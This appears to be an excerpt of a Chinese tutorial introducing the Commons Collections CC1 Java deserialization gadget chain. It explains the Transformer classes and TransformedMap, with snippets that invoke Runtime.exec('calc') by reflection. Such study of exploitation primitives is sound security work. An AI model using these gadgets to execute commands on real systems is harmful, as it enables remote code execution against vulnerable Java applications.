实验环境

jdk8u65

maven依赖：

<dependency>
    <groupid>commons-collections</groupid>
    <artifactid>commons-collections</artifactid>
    <version>3.2.1</version>
</dependency>

Transformer接口

全类名：org.apache.commons.collections.Transformer，是 Apache Commons Collections 库中的一个接口，它定义了如何将一个输入对象转换为另一个输出对象，接口中只声明了一个方法：public Object transform(Object input);

在CC1利用链中需要用到的Transformer实现类有如下几个：

InvokerTransformer

作用：输入一个对象，通过反射调用对象中的方法并返回。

示例：

1 2	`InvokerTransformer invokerTransformer =` `new` `InvokerTransformer("exec",` `new` `Class[]{String.class},` `new` `Object[]{"calc"});` `invokerTransformer.transform(Runtime.getRuntime());`

在调用transform方法时传入一个Runtime对象，InvokerTransformer会通过反射调用exec方法，来看看它的transform实现：

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        // 通过输入的对象获取其Class对象
        Class cls = input.getClass();
        // 通过构造方法传入的方法名和参数类型获取Method对象
        Method method = cls.getMethod(iMethodName, iParamTypes);
        // 反射调用方法
        return method.invoke(input, iArgs);
             
    } 
//    ...
}

ConstantTransformer

它的作用是不管你输入什么，它只给你输出一个由构造器传入的对象：

public Object transform(Object input) {
    return iConstant;
}

ChainedTransformer

链式转换器，可以链式调用多个Transformer，构造器参数是一个Transformer数组，由上一个Transformer的输出作为下一个Transformer的输入。

示例：

new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}).transform(null);

new一个ChainedTransformer，同时传入一个Transformer数组，第一个元素是ConstantTransformer，输出一个Runtime对象，第二个元素是InvokerTransformer，反射调用Runtime的exec方法。

其transform实现：

public Object transform(Object object) {
    // 遍历构造器传入的Transformer数组
    for (int i = 0; i < iTransformers.length; i++) {
        // 上一个Transformer的输出作为下一个Transformer的输入
        object = iTransformers[i].transform(object);
    }
    return object;
}

TransformedMap

org.apache.commons.collections.map.TransformedMap可以对原生Map类型对象做增强，采用了装饰者设计模式，用法如下：

public class TransformedMapExample {
 
    public static void main(String[] args) {
        // 创建一个原生Map
        Map<string, integer> baseMap = new HashMap<>();
        baseMap.put("apple", 1);
 
        // 定义一个转换器，将key转换为小写
        Transformer keyTransformer = new Transformer() {
            @Override
            public String transform(Object input) {
                return input.toString().toLowerCase();
            }
        };
 
        // 定义一个转换器，将 value × 2
        Transformer valueTransformer = new Transformer() {
            @Override
            public Object transform(Object input) {
                return Integer.valueOf(input + "") * 2;
            }
        };
 
        // 创建TransformedMap装饰器
        Map<string, integer> transformedMap = TransformedMap.decorate(baseMap, keyTransformer, valueTransformer);
 
        // 向装饰后的Map添加元素
        transformedMap.put("GRAPE", 2);
 
        // 输出Map的内容
        for (Map.Entry<string, integer> entry : transformedMap.entrySet()) {
            System.out.println(entry.getKey() + ": " + entry.getValue());
        }
 
        // 通过entry设置value
        for (Map.Entry<string, integer> entry : transformedMap.entrySet()) {
            entry.setValue(3);
        }
 
        for (Map.Entry<string, integer> entry : transformedMap.entrySet()) {
            System.out.println(entry.getKey() + ": " + entry.getValue());
        }
    }
}</string, integer></string, integer></string, integer></string, integer></string, integer>